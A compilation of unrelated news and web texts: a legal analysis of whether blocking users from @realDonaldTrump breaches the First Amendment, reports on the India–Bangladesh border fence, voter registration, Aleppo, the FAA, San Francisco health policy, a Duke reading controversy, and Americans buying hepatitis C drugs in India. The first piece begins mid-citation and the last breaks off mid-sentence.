43, 54–56, 114 S.Ct. 2038, 129 L.Ed.2d 36 (1994).  Bland v. Roberts, 730 F.3d 368, 385–86 (4th Cir. 2013), as amended (Sept. 23, 2013).  Indeed, the federal court for the Eastern District of Virginia recently considered the exact issue we’re discussing regarding President Trump’s tweets: whether the government can properly “block” a user from commenting on a social media page used by a government official to facilitate a discussion with the public.  In Davison v. Loudoun Cty. Bd. of Supervisors, No. 1:16CV932 (JCC/IDD), 2017 WL 58294 (E.D. Va. Jan. 4, 2017), a resident of Loudoun County, Virginia, filed suit after he was blocked from commenting on a Facebook Page operated by the Chair of the Loudoun County Board of Supervisors. The defendant claimed the Facebook Page was her personal page, not the Board’s official page, but the Court found the distinction was immaterial because of the way her page was used:  The page in question is titled “Chair Phyllis J. Randall, Government Official.” The “About” section of the page reads “Chair of the Loudoun County Board of Supervisors” and includes a link to Defendant Randall’s profile on Loudoun County’s website. It does not include any information of a personal nature. The top of the page features an image of a plaque reading “Phyllis J. Randall Chair–At–Large,” as well as an image of what the Court presumes to be Defendant Randall sitting behind the same plaque in front of a United States flag. The image appended to Plaintiff’s Complaint includes four posts by Defendant Randall. The two most recent are specifically addressed to “Loudoun,” Plaintiff’s constituency. All pertain to matters of public, rather than personal, significance. Besides one warning of poor weather conditions in Loudoun County, all posts visible in the image involve Defendant’s duties as Chair of the Loudoun County Board of Supervisors. They note recent events in the local government and solicit attendees for local government meetings. In short, the image of Defendant’s Facebook page substantiates Plaintiff’s claim that Defendant Randall uses the “Chair Phyllis J. Randall, Government Official” Facebook page in connection with her official duties. Drawing “all reasonable inferences” in Plaintiff’s favor, E.I. du Pont de Nemours & Co., 637 F.3d at 440 (4th Cir. 2011), Plaintiff has adequately plead that Defendant Randall’s Facebook page is a “Loudoun County social media site[ ],” governed by the County’s Social Media Comments Policy.  Davison v. Loudoun Cty. Bd. of Supervisors, No. 1:16CV932 (JCC/IDD), 2017 WL 58294, at *4 (E.D. Va. Jan. 4, 2017)(citations to the record omitted).  It’s easy to apply this analysis to the @realDonaldTrump account. As noted above, President Trump regularly uses it for official business – indeed, it’s hard to find any personal tweets at all these days. Moreover, his bio says he is “45th President of the United States of America,” and, at the moment, his cover photo is a picture of him sitting at the Resolute desk in the Oval Office while conducting official business. (This isn’t the first time the White House has made this mistake. President Trump’s social media director(!) previously got in hot water for making his personal account appear like an official account and then advocating voters choose a particular candidate.)  Back to Davison, once the Court found the defendant’s Facebook Page was officially sponsored, the next question was whether the First Amendment applied to the defendant blocking the plaintiff from commenting:  The Court is not required to determine whether any use of social media by an elected official creates a limited public forum, although the answer to that question is undoubtedly “no.” Rather, the issue before the Court is whether a specific government policy, applied to a specific government website, can create a “metaphysical” limited public forum for First Amendment purposes. See Rosenberger v. Rector, 515 U.S. at 830, 115 S.Ct. 2510. That answer to that narrower question is undoubtedly “yes.” “Limited public forums are characterized by ‘purposeful government action’ intended to make the forum ‘generally available’ ” for certain kinds of speech. Child Evangelism Fellowship of S.C. v. Anderson Sch. Dist. Five, 470 F.3d 1062, 1067 (4th Cir. 2006) (quoting Goulart v. Meadows, 345 F.3d 239, 250 (4th Cir. 2003)). At the time of the events giving rise to this suit, the County maintained a Policy stating that “the purpose of Loudoun County social media sites is to present matters of public interest in Loudoun County.” Compl. Exh. 11 [Dkt. 1–11]. The Policy provided that visitors were “encourage[d] to submit questions, comments and concerns,” but that “the county reserve[d] the right to delete submissions” that violated enumerated rules, such as comments that include “vulgar language” or “spam.” Id. Such a policy evinces the County’s purposeful choice to open its social media websites to those wishing to post “questions, comments and concerns” within certain limits. … A “metaphysical” forum created by a government policy like the County’s social media policy, see Rosenberger v. Rector & Visitors of Univ. of Virginia, 515 U.S. 819, 830, 115 S.Ct. 2510, 132 L.Ed.2d 700 (1995), is subject to the same First Amendment analysis regardless of whether that policy is applied to online speech. See Liverman, 844 F.3d at 407 (“What matters to the First Amendment analysis is not only the medium of the speech, but the scope and content of the restriction.”).  Davison v. Loudoun Cty. Bd. of Supervisors, No. 1:16CV932 (JCC/IDD), 2017 WL 58294, at *5 (E.D. Va. Jan. 4, 2017)(emphases added).  Careful readers may have noticed the Davison opinion hinged on the County’s “social media policy,” which expressly encouraged visitors to “submit questions, comments and concerns,” and limited the circumstances under which comments would be deleted to a few obvious categories, like spam.  At this point I’d say we should look at the White House’s own social media policy… but I can’t find one. There’s a White House Privacy Policy, but it doesn’t specifically reference @realDonaldTrump, and it doesn’t say anything about the deletion of comments. The Privacy Policy does, however, say that the White House might use “comments” collected through social media to advocate policy positions:  WE MAY ALSO USE MESSAGES OR COMMENTS COLLECTED THROUGH WHITEHOUSE.GOV OR OFFICIAL SOCIAL MEDIA PAGES FOR OUR OWN PURPOSES, SUCH AS TO INFORM POLICY DECISIONS OR IN PUBLIC ADVOCACY. … INFORMATION YOU CHOOSE TO SHARE WITH THE WHITE HOUSE (DIRECTLY AND VIA THIRD PARTY SITES) MAY BE TREATED AS PUBLIC INFORMATION. WE MAY, FOR EXAMPLE, PUBLISH COMPILATIONS OF MESSAGES OR COMMENTS COLLECTED THROUGH WHITEHOUSE.GOV OR OFFICIAL SOCIAL MEDIA PAGES AND PROVIDE THEM TO NATIONAL LEADERS, MEMBERS OF THE PRESS, OR OTHER INDIVIDUALS OUTSIDE OF THE FEDERAL GOVERNMENT.  That suggests the White House invites the public to comment on social media which, in turn, bolsters the argument that @realDonaldTrump’s account is a limited public forum when it comes to the public replying to his tweets. Similarly, the way President Trump uses @realDonaldTrump (e.g., stating his position on current issues and then allowing comments) suggests that the public is invited to reply to his tweets.  So, what then? “In a limited public forum, restrictions that are viewpoint neutral and reasonable in light of the purpose served by the forum are permissible.” DiLoreto v. Downy Unif. Sch. Dist. Bd. of Ed., 196 F.3d 958, 965 (9th Cir. 1999) (citing Rosenberger v. Rector & Visitors of the Univ. of Va., 515 U.S. 819, 829 (1995)). Here’s a recent succinct summary of how it works:  First, the government may permissibly restrict content by prohibiting any speech on a given topic or subject matter. Good News Club v. Milford Cent. Sch., 533 U.S. 98, 106, 121 S.Ct. 2093, 150 L.Ed.2d 151 (2001). The State may be justified in reserving its forum for certain groups or for the discussion of certain topics. Rosenberger v. Rector & Visitors of Univ. of Va., 515 U.S. 819, 829, 115 S.Ct. 2510, 132 L.Ed.2d 700 (1995). The state may properly exclude an entire subject. Choose Life Ill., Inc. v. White, 547 F.3d 853, 865 (7th Cir. 2008). Second, however, once the government permits some comment on a particular subject matter or topic, it may not regulate speech in ways that favor some viewpoints or ideas at the expense of others. Lamb’s Chapel v. Ctr. Moriches Union Free Sch. Dist., 508 U.S. 384, 394, 113 S.Ct. 2141, 124 L.Ed.2d 352 (1993). Accordingly, while a speaker may be excluded from a nonpublic forum if he wishes to address a topic not encompassed within the purpose of the forum, the government violates the First Amendment when it denies access to a speaker solely to suppress the point of view he espouses on an otherwise includible subject. Cornelius, 473 U.S. at 806, 105 S.Ct. 3439 (1985).  Sprague v. Spokane Valley Fire Dep’t, 196 Wash. App. 21, 54, 381 P.3d 1259, 1275 (2016).  In other words, once @realDonaldTrump allows replies to a tweet, he’s obliged to permit all views encompassed within the subject of that tweet, and he cannot do so in a manner that favors certain viewpoints or ideas at the expense of others. That permits President Trump a fair amount of leeway by the trolling standards of the Internet — if he wanted to get rid of harassing or vulgar replies that had nothing to do with the tweet, he theoretically could — but, when it comes to the subject matter of the tweet, the commentators have a broad free speech rights to address the topic at hand.  So that’s the law. A couple practical thoughts:  First, the White House needs a social media policy. Maybe they have one that I can’t find. Either way, it’d be helpful to everyone if they had a specific description of what they intend to do with comments on social media, and it’d be even better if they followed it.  Second, it is worth noting that @realDonaldTrump receives an immense number of critical comments to each tweet and yet, so far, only a handful of Twitter users have been blocked. That suggests there isn’t a systematic effort to block people, and that it’s instead an ad hoc decision. On the one hand it’s nice to see there’s not a concerted effort to suppress critical viewpoints; on the other hand, an “ad hoc” governmental policy rarely survives any degree of court scrutiny. Moreover, the absence of a concerted effort doesn’t change the free speech analysis for each blocked person.  Third, assuming @realDonaldTrump creates and enforces a social media policy that said, for example, that replies had to be related to the subject matter of his tweet, the technical limitations of Twitter would present a problem. As far as I can tell, Twitter doesn’t have an option for removing particular replies to a tweet. A user can block other users, mute other users, or mute a particular conversation. It would be difficult for @realDonaldTrump to truly enforce a social media policy that actually removed certain replies. As a practical matter, the only way he could remove particular replies is by using Twitter’s own system for reporting tweets that violated Twitter’s Terms of Service, i.e., by being abusive or spammy.  When all is said and done, @realDonaldTrump is likely better off unblocking everyone and just muting whoever is bothering him. If he keeps blocking users, he’ll eventually see himself the defendant in yet another lawsuit.
-RANGPUR, Bangladesh — “If they see me talking to you, they’re going to give me a lot of trouble,” says Abdul Rahim.  Standing at the very edge of his property on the Bangladesh-India border, the 48-year-old Indian farmer is half a step away from illegally crossing into the Bangladeshi village of Chander Haat. But it’s not the possibility of getting caught trespassing by Bangladeshi border guards that worries him.  Behind Rahim, a couple hundred meters into the Indian side of the border, is the world’s longest — and bloodiest — barbed wire fence.  Dubbed the “wall of death” by locals, the 4,000 km barrier spans the length of the fifth-longest border in the world, and is manned by India’s Border Security Force (BSF), whose guards kill both Bangladeshis and Indians with impunity.  Shiva Rules: Will the elderly bring down India?  Rahim claims the BSF routinely harasses him and has occasionally beaten him on suspicion of aiding or sheltering illegal Bangladeshi migrants and smugglers.  It's a tense border. Despite India helping Bangladesh gain independence in 1971, relations between the two countries have remained strained since the 1947 partition of India, when the subcontinent was split along religious lines, creating East Pakistan where present-day Bangladesh is. Partition resulted in a bloodbath, with over 1 million killed in the space of a few months and more than 10 million Hindus, Muslims, and Sikhs displaced in one of the largest mass migrations in human history.  Little progress has been made over decades between the two countries on hot-button issues like smuggling, supplying arms and refuge to Indian insurgents, and control of the numerous rivers that flow through both countries.  Targeting undocumented migrants  But the standout crisis dominating Indian discourse is undocumented migrants.  Official estimates are that there are 2 million undocumented Bangladeshi migrants in India. A number frequently reported in India media is 20 million.  Like Mexican undocumented migrants in the United States, their Bangladeshi counterparts are the favored scapegoats of the Indian right — blamed for unemployment, crime, terrorism, "low-key Talibanization," and "disturbing our indian sex-ratio statistics."  This has created a situation where many say India’s border guards are trigger-happy.  On Jan. 7, 2011, Felani Khatun and her father arrived at the barbed wire a little after the early morning call to prayer had rung out from a nearby mosque. Dressed up in traditional bridal wear and wedding jewelry, the drowsy 15 year old had fallen asleep several times during their overnight journey to the border and could barely keep her eyes open.  Felani, born in India to parents who were undocumented migrants there, was returning to Bangladesh to get married. But it was daylight now, and Felani’s father Nurul Islam was afraid.  The local smugglers he had paid Rs 3000 ($70) to help him and his daughter across insisted however that everything was fine, and the two began to climb up the ladder that had been arranged for them.  Nurul Islam made it over successfully. Moments later, as Felani reached the top of the 2.5m high fence, Indian border guards who had spotted them came running out and shot her dead from close range.  Blame Gandhi: Did the great pacifist kill India, Inc.?  “[The BSF shot] without any warning. I don’t understand why they didn’t shout anything,” remembers Nurul Islam, who has been relocated with the rest of his family to the Bangladeshi village of Ramkhana, near where his daughter died. “I wish they’d said ‘stop.’ If they’d just said ‘stop’ she would’ve been saved.”  Felani’s lifeless body hung from the fence for five hours, in full view of Bangladeshi and Indian farmers living nearby. Eventually, the BSF slung her hands and feet onto a bamboo pole and took her away.  It was over 30 hours before her body was handed over to Bangladeshi authorities and returned to her father. “They took her jewelry,” Nurul Islam said, sardonically.  A photo, first published in Indian newspaper Anandabazaar, of Felani’s corpse hanging from the fence sparked a huge uproar in Bangladeshi media. The Indian Home Minister P. Chidambaram announced during a visit to Dhaka in July that the BSF would use non-lethal weapons, and that they would no longer shoot at civilians under any circumstances.  Stemming the cattle trade  Six months later the deaths on the border continue to pile up.  Except now they come about in more creative ways. Shootings are rarer, but Bangladeshi border guards report recent incidents of fatal beatings, strangling, stoning, and poisonous injections.  Human rights group Odhikar accuses the BSF of killing over 1,000 Bangladeshis in the past decade. The BSF themselves admit responsibility for the deaths of 364 Bangladeshis and 164 Indians since 2006.  That was when their government began constructing the fence, inspired by Israel’s West Bank barrier.  But neither the barbed wire nor the extrajudicial murders have been successful in stopping a lucrative, illicit trade in cattle.  Cows in Bangladesh sell for three to four times what they fetch in India, and resourceful traffickers have devised new, brutal ways to get around the obstacle.  Rahim, the Indian farmer who witnesses this happen almost nightly, describes the procedure: “They use ramps to get the cows up to the middle part of the wire fence. The wires here are a little bit further apart than the rest of the fence. They loosen the wires a little bit more, then they bind the legs and the mouth of the cow, haul it up the ramp and pass it through to the other side.”  “It takes 10 minutes to get 50 cows through,” says Rahim, “But it’s not easy to get 10 minutes. The smugglers always follow the BSF, keeping an eye on them, waiting for an opportunity.”  The BSF guards aren’t cartoon villains, and Rahim is aware that they are doing a dangerous job.  “The smugglers are reckless people,” he says, “they don’t hesitate to attack the BSF. They are armed with sickles, knives, and they threaten the BSF. They say ‘leave us alone if you fear for your life, we’re here to die anyway’.”  Though the anti-smuggling and anti-immigration efficacy of South Asia’s Berlin Wall is debatable, its impact on those living nearby is not.  Bangladeshis have predictably bristled at the prospect of being corralled in by their giant neighbor, which surrounds them on the west, north, and east, and which they have always been a little bit paranoid about.  With a growing population of 150 million packed into an area smaller than Iowa, the fence is also making many Bangladeshis claustrophobic.  “A barbed wire fence is a psychological expression of hegemony. They have surrounded the people of Bangladesh on three sides with barbed wire,” said Adilur Rahman, the general secretary of Dhaka based rights group Odhikar, “High powered floodlights, barb wire… it looks like a World War II concentration camp.”  The floodlights beam directly into the home of 9-year-old Anis Ahmed, who complains that they are so bright he has trouble sleeping at night.  Hostilities run deep  Anis works on his family’s farm every day on the Bangladesh side of the border near the northern village of Amgaon. Their land goes right up to the border, where lush green rows of rice plants imperceptibly switch from Bangladeshi to Indian.  According to international regulations, the fence cannot be closer than 150 meters to the actual border, so the actual fence falls behind rows of Indian crops.  There are no clearly visible signs demarcating the exact point where Bangladeshi soil becomes Indian. Locals are simply expected to know where the line is.  Most of them do, and they stay away. But the precocious Anis and his 11-year-old cousin Shohir Jamal often walk across it to examine what lies beyond the fence.  “We go up to see the barbed wire fence,” says Anis, “When we go up to it they [the BSF guards] mock us, scold us. They say ‘Ei Bengali admi, bhago giya, bhago giya [hey Bengali, go away].’ They swear a lot at us, but things we don’t understand really.”  The children here are growing up surrounded by an atmosphere of hostility and suspicion. Everyone in their village is viewed as a potential smuggler or an accomplice of smugglers.  Many are. People here are very poor, and supplementary income is precious.  Manik, the local schoolteacher, was recently arrested and given three years detention by the BSF during his first foray into cattle smuggling. Akbar Ali, an elected member of the local government here, has just returned having completed his own three-year term for trafficking cows.  Suspicions run deep. During the day Anis and Shohir work side by side with the Indian farmers like Rahim, whose crops fall between the border with Bangladesh and the barbed wire fence. The proximity, however, does not imply interaction.  “They don’t talk to us. The BSF don’t want them to have a good relationship with Bangladeshis,” says Anis, “They [the BSF] worry that they’ll end up helping people cross the border.”  Rahim regrets this new distance with once close neighbors.  “When we were children we used to play together every day,” he recalls. “We used to eat at each others’ houses. I went to school in Bangladesh.”  Because the fence had to be built 150 meters within Indian territory, Rahim and more than 100,000 other Indians have found themselves on the wrong side of the barbed wire.  Rahim is cut off from the rest of his country, trapped within a slice of land about as wide as an airport runway.  The gates at the fence open only for three hours: 8:00 a.m. to 9:00 a.m., noon to 1:00 p.m., and 4:00 p.m. to 5:00 p.m. These are the only times when Rahim and his family can move back and forth to visit relatives, go shopping, or send their kids to school.  Children frequently miss school because they arrive after the gate has been closed. Rahim’s daughter lives with a relative 40 kilometers behind the wire. He estimates that he sees her only once in five months or so.  “If we go to shop at 4:00 p.m., we have to make sure we’re back by 5:00 p.m., otherwise we’re locked out for the night,” he complains.  As he speaks, a woman comes wading through a stream on the Bangladeshi side of the border. She is carrying multiple cell phones in her hands.  “There’s no electricity in our houses,” explains Rahim, “We’re cut off from the electrical grid. So we have to sneak over to Bangladesh when the guards aren’t looking to charge our phones.”  “The wire fence makes us feel like prisoners,” he said.  One day, when he has saved enough, Rahim says he plans to move to the other side of the fence. His expectations aren’t high for what may be in store there, but at least he will have ended his status as collateral damage of a stalemate between nation-states.
-You may apply to register to vote or update your information online, in person at your County Clerk’s office, or by mail.  Click Here for Voter Registration Deadlines for Upcoming County and Local Elections  Welcome to West Virginia's Online Voter Registration Website  To register to vote or update your voter registration online, you must provide the following information:  Your name as it appears on your West Virginia driver's license or ID card  Your date of birth  Your West Virginia driver's license or ID card number  Your last four digits of your Social Security Number  When you complete the application online it will be submitted to your county clerk for processing. The county clerk will notify you if your application has been accepted or rejected.  Register to Vote / Update My Registration Online  If you do not have a West Virginia driver's license or ID card number and the last four digits of your Social Security Number, you may not submit your form online, but you may enter your information online to be auto-filled in a voter registration application. Once you create your application online, you may print, sign and deliver it to your County Clerk by mail or in person.  Fill Out Application Online to Mail  If you prefer to complete your voter registration form by hand, you may download a blank voter registration form to mail or deliver in-person.  Note: You must have Adobe Reader to download an auto-filled or blank voter registration. Click here for Adobe Reader Downloading instructions.  Additional Information
-The Catholic archbishop of Jerusalem said Saturday that he’s pleased the war in Aleppo is over, as now Christians can celebrate Christmas without fear for the first time.  Rev. Pierbattista Pizzaballa, the Latin patriarch of Jerusalem, traveled from Jerusalem to Bethlehem for Christmas Eve to celebrate mass at the Church of the Nativity in Bethlehem, the site where Jesus was born.  While in Bethlehem, Pizzaballa said he was pleased the war in Aleppo was over, since it provides Christians an opportunity to celebrate Christmas and rebuild the city, The Associated Press reports.  “I wish this joyous atmosphere of Christmas will continue in the year and not just for a few days and I hope the coming year will bring a little more serenity and peaceful relations in our country. We need it,” Pizzaballa said.  “I am happy that the war, at least the military war, in Aleppo is finished and that for the first time in Aleppo the Christians can celebrate without fear the Christmas season. I wish that they can now reconstruct, rebuild the city, not only the infrastructure but also the common relations that was a tradition over there,” he added.  In Aleppo, attendance at mass surged through the Christmas season, as parishioners had no fear of being the targets of rebel missiles. Christians celebrated by a Christmas tree in Azizya, where the tree had not been lit for four years.  Syrian government forces seized control of previously rebel-held parts of Aleppo in mid-December and announced an end to the fighting. Aleppo has been split between rebels and forces loyal to the regime of Syrian President Bashar al-Assad since 2012. Christian leaders by and large have supported Assad, despite rampant opposition from the West, as Sunni extremists, often termed “moderate rebels” by the Obama administration, have no ethical compunctions about slaughtering Christians and burning down churches.  Given that Russia has renewed its role as protector of the faith in the region and stepped in to back Assad against groups like the Islamic State, al-Qaida affiliates and other rebel groups, church leaders believe that siding with Damascus is by far their best shot at survival.  Since the beginning of the war, the number of Christians in Aleppo plummeted from 250,000 to a mere 50,000.  Follow Jonah Bennett on Twitter  Send tips to jonah@dailycallernewsfoundation.org.  Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.
-John Muir Wilderness, Calif. — The locals call it Mount Thoreau.  A vast pyramid of talus and scree in the Sierra Nevada range, it sits between the aptly named Wonder Lakes Basin and Mount Emerson, a namesake of the great 19th-century author Ralph Waldo Emerson. It might seem only fitting that it should bear the name of Emerson’s close friend and fellow transcendentalist Henry David Thoreau.  But the mountain cannot be named for Thoreau or anyone else. Since 1964, the government has decreed that except in extraordinary circumstances, unnamed features in federal wilderness areas will remain that way.  Now a group of 11 writers, printmakers, poets, wilderness enthusiasts, Thoreau devotees and fellow travelers is trying to correct what they say is a historic oversight. On Sept. 26, they made the trek to the summit of the unnamed mountain for a minor act of civil disobedience: a ceremony to name it for Thoreau.  While a number of authors have mountains named in their honor, Thoreau has none. Given his love of wilderness and wild peaks, that seems like a surprising slight, say members of the group, which includes Gary Snyder, the Zen Buddhist poet, and Kim Stanley Robinson, the science fiction author.
-The FAA, continuing to remove redundant and underutilized ground-based instrument approaches from service as new technology comes on line, has announced the fate of 125 of 198 procedures it had listed as candidates for cancellation.  According to a final rule published Oct. 17, 59 of the 125 instrument approaches will be canceled, with 66 either retained based on comments from system users, or determined to be duplications of approaches already addressed. The rule takes effect Nov. 10.  The announcement leaves unresolved for now the status of 73 procedures. The FAA said it might reevaluate the retained approaches under the ongoing review known as the National Procedures Assessment (NPA) initiative.  In a previous stage of the NPA, the FAA last November eliminated 334 instrument procedures, but backed off its original intention to cancel up to 736 procedures.  “Removing identified ground-based NDB and VOR SIAPs is an integral part of right-sizing the quantity and type of procedures in the National Airspace System (NAS). As new technology facilitates the introduction of area navigation (RNAV) instrument approach procedures, the number of procedures available in the NAS has nearly doubled over the past decade. The complexity and cost of maintaining the existing ground based navigational infrastructure while expanding RNAV capability is not sustainable,” the FAA noted in the newly published rule.  AOPA, serving on an RTCA study committee, helped draft the approach cancellation criteria published by the FAA in June 2014.  The association also is heavily engaged with the FAA as the agency pursues another NextGen initiative to establish a VOR Minimal Operational Network that would allow IFR aircraft to navigate in the event of a GPS outage, said Rune Duke, AOPA director of airspace and air traffic.  “AOPA continues to work closely with the FAA to ensure that pilots have all-weather access to airports and an efficient en route navigation structure,” he said. “As the FAA decommissions VORs and legacy procedures, we are working closely with our FAA counterparts to ensure the transition to Performance Based Navigation is smooth for general aviation.”
-SAN FRANCISCO — San Francisco is preparing to become the first U.S. city to provide and cover the cost of sex reassignment surgeries for uninsured transgender residents.  The city’s Health Commission voted Tuesday to create a comprehensive program for treating transgender people experiencing mental distress because of the mismatch between their bodies and their gender identities. San Francisco already provides transgender residents with hormones, counseling and routine health services, but has stopped short of offering surgical interventions, Public Health Director Barbara Garcia said Thursday after the vote was announced.  The idea for a new program that included surgeries came out of conversations between public health officials and transgender rights advocates who wanted mastectomies, genital reconstructions and other surgeries that are recommended for some transgender people covered under San Francisco’s 5-year-old universal health care plan.  At the urging of the San Francisco Board of Supervisors and the San Francisco-based Transgender Law Center, the commission agreed this week to drop sex reassignment surgery from the list of procedures specifically excluded from the Healthy San Francisco plan.  But Garcia described the move as “a symbolic process” for now because the city currently does not have the expertise, capacity or protocols in place to provide the surgeries through its clinics and public hospital.  “The community felt the exclusion on Healthy San Francisco was discriminatory and we wanted to change that as the first step,” she said.  Instead of expanding the existing plan, the Health Commission approved the establishment of a separate program that covers all aspects of transgender health, including gender transition. Garcia hopes to have it running by late next year, but said her department first needs to study how many people it would serve, how much it would cost, who would perform the surgeries and where they would be performed.  “Sex reassignment surgery is not the end all. It’s one service that some transgender people want and some don’t,” she said. “We can probably manage this over the next three years without much of a budget increase because we already have these (other) services covered.”  San Francisco in 2001 became the first city in the country to cover sex reassignment surgeries for government employees. Last year, Portland, Ore. did the same. The number of major U.S. companies covering the cost of gender reassignment surgery for transgender workers also doubled last year, reflecting a decades-long push by transgender activists to get insurance companies to treat such surgeries as medically necessary instead of elective procedures.  Kathryn Steuerman, a member of a transgender health advocacy group in San Francisco, said the city’s latest move would help residents avoid going into debt to finance operations related to gender transition, as she did.  “I am filled with hope and gratitude that we are achieving this level of support for the well-being of the transgender community,” Steuerman said.
-It’s the first day of school for many incoming freshman around the U.S., and at Duke, things are kicking off with controversy.  The North Carolina university chose Fun Home for its Common Experience summer reading program for the class of 2019. The students were to read the book, then spend the week of freshmen orientation discussing it in various group settings.  The author of Fun Home is Alison Bechdel, famed creator of long-running comic Dykes to Watch Out For. The comic introduced the world to the Bechdel Test, a tongue-in-cheek methodology that has become a common tool for measuring female representation in movies and television. Fun Home, her graphic novel about her childhood, has won numerous awards and critical acclaim. This year its smash hit stage adaptation snagged a Tony Award for Best Musical.  Yet Duke’s student newspaper, the Chronicle, reports that on the Class of 2019’s closed Facebook group, a number of prospective students have taken issue with the book. One freshman from Georgia reportedly posted that “because of the graphic visual depictions of sexuality,” he would be boycotting the comic. Other students followed suit, dubbing the novel “pornographic.”  Bechdel’s comic is a wry memoir about her father, a closeted queer and genderqueer man whose secrets and mistakes cast a pall on her childhood and hugely influenced her own coming-out process. Though the book does have some nudity, it is not pornographic in nature but rather done in service of the book’s themes of identity and exploration.  Sequart  Past selections of the summer reading committee—a group made up of staff and students—have included works by Chimamanda Ngozi Adichie and Ann Patchett.  In June, when the controversy first arose, the University made this statement:  “We do understand that the novel may make some readers uncomfortable. It may create arguments and conversations, which are important to a liberal arts education.”  Duke’s Vice President for Public Affairs and Government Relations, Michael Schoenfeld, responded to a request for comment from the Daily Dot on Monday afternoon.  Like many universities and community, Duke has had a summer reading for many years to give incoming students a shared intellectual experience with other members of the class (you can see the most recent selections at https://studentaffairs.duke.edu/new-students/common-experience).  The reading is selected by a committee of students, and staff, who then solicit feedback from other members of the Duke community. Fun Home was ultimately chosen because it is a unique and moving book that transcends genres and explores issues that students are likely to confront. It is also one of the most celebrated graphic novels of its generation, and the theatrical adaption won the Tony Award for Best Musical, and four others, in 2015. As we have every year, we were fortunate to have the author join us on campus for a lively discussion of the book during orientation week. The summer reading is entirely voluntary — it is not a requirement, nor is there a grade or record of any student’s participation. With a class of 1,750 new students from around the world, it would be impossible to find a single book that that did not challenge someone’s way of thinking. We understand and respect that, but also hope that students will begin their time at Duke with open minds and a willingness to explore new  The many fans of the graphic novel on the Internet were quick to voice their disdain for the boycott.  [Placeholder for https://www.facebook.com/stephen.simpson.334/posts/10207405469918748 embed.]  In the South, Students Take Bold Stance Against Reading, Learning https://t.co/QaKxm7f19Y — Cooper Fleishman (@_Cooper) August 24, 2015  This isn’t the first time that Bechdel’s book has caused controversy. Last year, the South Carolina state senate cut $70,000 from the budgets of two public colleges that put books with queer themes on their reading lists, including Fun Home. Crafton Hills College in California, meanwhile, forced a professor to put a warning on his syllabus after a student complained that four award-winning graphic novels—Fun Home, by Alison Bechdel; YY: The Last Man, Vol. 1, by Brian Vaughan; The Sandman, Vol. 2: The Doll’s House, by Neil Gaiman; and Persepolis, by Marjane Satrapi—were violent and pornographic.  The 20-year-old student told a local newspaper she didn’t think the books should be burned or banned, but she and her parents didn’t think they belong in a English course.  The Duke student who made the original post told the Chronicle he’d succeeded in his goal of making other religious students feel less alone.  Update 4:53 pm CT, Aug. 24: This story has been updated to include a response from a Duke spokesman.  Illustration via Panels
-A growing number of sick Americans are traveling thousands of miles to India. Why? For huge discounts on prescription drugs.  Scores of life-saving medicines are sold for much lower prices in India, attracting foreigners who have been denied access to, or can't afford, them at home.  It's not an easy path. Foreigners must navigate the country's health care system, reams of paperwork and a language barrier.  But for many, including Gregg Bigsby, a commercial fisherman from Alaska, coming to India felt like the only option.  Bigsby had been living with Hepatitis C for more than 40 years when the disease stepped up its attack on his body. His liver was damaged and scarred, almost to the point of cirrhosis.  The fisherman's doctor recommended treatment that included a drug called sofosbuvir. But Medicare denied Bigsby's insurance claim, and he couldn't afford to pay hundreds of thousands of dollars for the drug.  So Bigsby went online to contact an India-based "buyers club" -- a group that exploits wrinkles in international patent law and drug regulation in order to supply cheap medicine to people in need.  A special drug  Globally, more than 130 million people are estimated to be living with Hepatitis C. Left untreated, the disease can be deadly. But sofosbuvir, released in late 2013 by U.S. biopharmaceutical firm Gilead (GILD), is effectively a cure.  It's also expensive, costing $84,000 for a 12-week course in the U.S. Doctors often prescribe the drug -- sold under the brand names Sovaldi and Harvoni -- in combination with others, further raising the overall cost of treatment.  As a result, insurers and government healthcare providers often pay for its use in only their sickest patients.  But in India, a 12-week course of the drug's generic version can be purchased for just $500.  The Australian  Bigsby first made contact with the "buyers club" through a blog written by Greg Jefferys, an Australian who also suffered from Hepatitis C. The posts recounted Jefferys' 2015 trip to Chennai, an Indian city on the Bay of Bengal, to buy sofosbuvir.  It wasn't long before the story of Jefferys' trip to India spread, and he began receiving emails from people all the over world.  He jumped in, learning as much as he could about India's pharmacy system. Soon, he had developed a network of contacts in the country and found himself at the center of an informal "buyers club."  The mild-mannered Jefferys shares little with the swaggering, medicine smuggling cowboy played by Matthew McConaughey in the 2013 film Dallas Buyers Club -- but he is angry.  "There's millions of people with this disease in the world," Jefferys said. "People are dying because a really cheap drug is being marked up."  Jefferys says he gets up to 100 emails per day from people seeking advice -- half of them from America. Some travel to India to purchase the drugs themselves; others ask Jefferys to arrange for the drugs to be mailed to their homes.  There are limits on the value and amount of drugs that can be legally exported from India. Some of the group's shipments have been seized, but so far they have avoided major legal trouble.  How much should a drug cost?  Drug pricing has come under intense public scrutiny in the U.S. after Martin Shkreli, as CEO of Turing Pharmaceuticals, hiked the price of a medication used by HIV/AIDS patients from $13.50 to $750 per pill, earning him broad condemnation.  Much of the controversy has focused on drugs that are used by relatively few people. Sofosbuvir, however, is in a different class.  "There are drugs that are a lot more expensive, but this is the really the first time we saw a drug that was this expensive for this large of a population," said Steve Miller, the chief medical officer at pharmacy benefits manager Express Scripts.  Sofosbuvir has been a huge success for Gilead, which paid $11.2 billion to acquire its developer. Last year, the line of drugs accounted for roughly two thirds of the company's $32.2 billion in sales.  In an effort to protect market share in the face of competing new drugs, Gilead has begun to offer deep discounts on the $84,000 prescription. Critics, however, insist the price is still far too high.  "How egregious is the price on a scale of one to 10? It's like a 35," said Tracy Swan, the Hepatitis/HIV project director at Treatment Action Group.  Gilead said in a statement that it "responsibly and thoughtfully" priced the drug, and that "prices today are less than the cost of prior standard of care regimen." The company has also established a program that helps patients purchase the drug if they meet certain income, residency and coverage criteria.  Battleground India  India's patent laws have long been a thorn in the side of global pharmaceutical companies.  Unlike other countries, India does not award patents for minor improvements to existing drugs, and instead forces developers to prove they have made a significant scientific advancement.  "India has been the torchbearer of trying to show countries that there can be innovation and invention in the field, but making sure that unmerited patents don't get granted," said Tahir Amin, co-founder at the Initiative for Medicines, Access, & Knowledge.  The pharmaceutical industry and U.S. government have lobbied fiercely against India's rules. They scored a major victory in May, when regulators reversed course and approved one of Gilead's patent applications on sofosbuvir.  Advocates, who are appealing the decision, fear the precedent could disrupt global access to other expensive drugs.  "This is the end of the era of India being the pharmacy of the developing world," said Leena Menghaney, the head of Medecins Sans Frontieres' access campaign in South Asia.  Bigsby, the fisherman, was on a plane to India just one week after exchanging messages with Jefferys. In Chennai, he was able to purchase sofosbuvir, in combination with other 